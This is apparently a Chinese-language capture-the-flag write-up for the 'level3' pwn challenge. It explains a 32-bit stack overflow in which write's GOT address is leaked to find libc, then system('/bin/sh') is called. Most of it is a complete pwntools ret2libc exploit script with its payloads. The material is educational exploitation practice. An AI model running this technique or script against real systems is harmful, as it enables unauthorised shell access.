
nc了一下平台给的端口号,大概这个样子。
在用ida pro看一下源文件的样子。

寻找一下溢出点。

很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了 这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串
攻击思路:
libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。1. 首先利用write()函数计算出write()函数的真实地址;2. 利用相对offset计算出system和"/bin/sh"的真实地址。
在vulnerable_function()中,先调用了write()函数,然后调用read()函数。write()函数返回到vulnerable_function()后,再进行read()函数调用,这样我们就可以进行二次攻击。 - 第一次攻击我们利用栈溢出将write()函数在got表中的真实地址leak出来,然后减去libc中的offset,就可以得到libc的base address。- 第二次攻击重新进入main函数,再次通过栈溢出,利用system函数进行getshell。
buf 的大小为0x88。

第一次使用的payload构成如下:
payload = 'A'\*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
利用第一次攻击,就可以获取到libc的基地址。然后进行第二次攻击,使用的payload构成为:
payload0 = 'A'\*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

0x15902b是"/bin/sh"在libc中的地址,可以使用libcsearch进行获取,也可以使用 strings -a -t x libc_32.so.6 | grep "/bin/sh" 进行获取。
EXP:
1 from pwn import *
2
3 from LibcSearcher import *
4
5 io = remote("111.198.29.45",37205)
6
7 elf = ELF("./level3")
8 #获取函数
9
10 read_plt = elf.plt["read"]
11
12 write_plt = elf.plt["write"]
13
14 write_got = elf.got["write"]
15
16 main_addr = elf.symbols["main"]
17
18 #接收数据
19
20 io.recv()
21
22 #char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址) write函数参数三(写4字节)
23
24 payload = "a" * 0x88
25
26 payload += p32(0xdeadbeef)
27
28 payload += p32(write_plt)
29
30 payload += p32(main_addr)
31
32 payload += p32(1)
33
34 payload += p32(write_got)
35
36 payload += p32(4)
37
38
39
40 io.sendline(payload)
41
42 #获取write在got中的地址
43
44 write_leak = u32(io.recv()[:4])
45
46 print "write_leak ==> " + hex(write_leak)
47
48 #计算lib库加载基址
49
50 libc = LibcSearcher('write', write_leak)
51
52 libc_base = write_leak - libc.dump('write')
53
54 print "libc_base ==> " + hex(libc_base)
55
56 #计算system的地址
57
58 sys_addr = libc_base + libc.dump("system")
59
60 print "sys_addr ==> " + hex(sys_addr)
61 #计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
62
63 bin_sh_addr = libc_base + libc.dump("str_bin_sh")
64
65 print "bin_sh_addr ==> " + hex(bin_sh_addr)
66
67
68
69 io.recv()
70
71 #char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
72
73 payload2 = "a" * 0x88 + p32(0xdeadbeef)
74
75 payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
76
77
78
79 io.sendline(payload2)
喜提flag。
